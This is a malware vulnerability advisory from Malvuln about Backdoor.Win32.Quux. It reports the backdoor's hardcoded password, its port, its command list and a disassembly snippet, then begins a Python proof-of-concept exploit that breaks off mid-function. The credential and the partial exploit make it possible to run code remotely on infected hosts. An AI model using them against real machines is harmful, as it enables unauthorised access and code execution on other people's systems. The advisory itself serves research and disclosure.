Authored by malvuln | Site malvuln.com

Backdoor.Win32.Quux malware suffers from a weak hardcoded credential vulnerability that can allow an attacker to achieve remote code execution.

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/13ce53de9ca4c4e6c58f990b442cb419.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Quux
Vulnerability: Weak Hardcoded Credentials
Family: Quux
Type: PE32
MD5: 13ce53de9ca4c4e6c58f990b442cb419
Vuln ID: MVID-2022-0656
Dropped files: quux32.exe
Disclosure: 11/15/2022
Description: The malware listens on TCP port 3. Authentication is required, however the password "Faraon" translated from Romanian as "Pharaoh" is weak and hardcoded in cleartext within the PE file. Third-party adversaries who can reach an infected host can call commands made available by the backdoor. Commands include uploading files and code execution. Theres a need to code a custom client to communicate with the infected host as nc64.exe and telnet send LF characters and will fail authentication when sending credentials containing "n" etc. Once connected if we send any files they will be written to WindowsSystem unless calling the "SetCurrDir" commmand.

0040AD24 ; char aFaraon[]
0040AD24 aFaraon db 'Faraon',0 ; DATA XREF [email protected]_0+376↑o
0040AD2B align 100h

[Commands]
SetCurrDir
GetCurrDir
GetCurrentDirectory
Exec
GetFile
SendFile
quit
exit
shutdown
dir
CreateFile
DeleteFile
MessageBox
die


Exploit/PoC:
"quux32_xploit.py"

from socket import *
import time, sys

BANNER="""
____ ____ ___ ____ __ _ __
/ __ __ ____ ____ __ |_ /|_ | / __/_ __ ___ / /__ (_) /_
/ /_/ / // / // / /_/_ </ __/ / _/ // _ / / _ / / __/
_____,_/_,_//__/____/____/ /___//__/ .__/_/___/_/__/
/_/
By Malvuln
MVID-2022-0656 - Nov 2022
"""

MALWARE_HOST=""
PORT=3
CREDZ="Faraon"

def chk_res(s):
res=""
while True:
res += s.recv(512).decode()
if "#" in res or "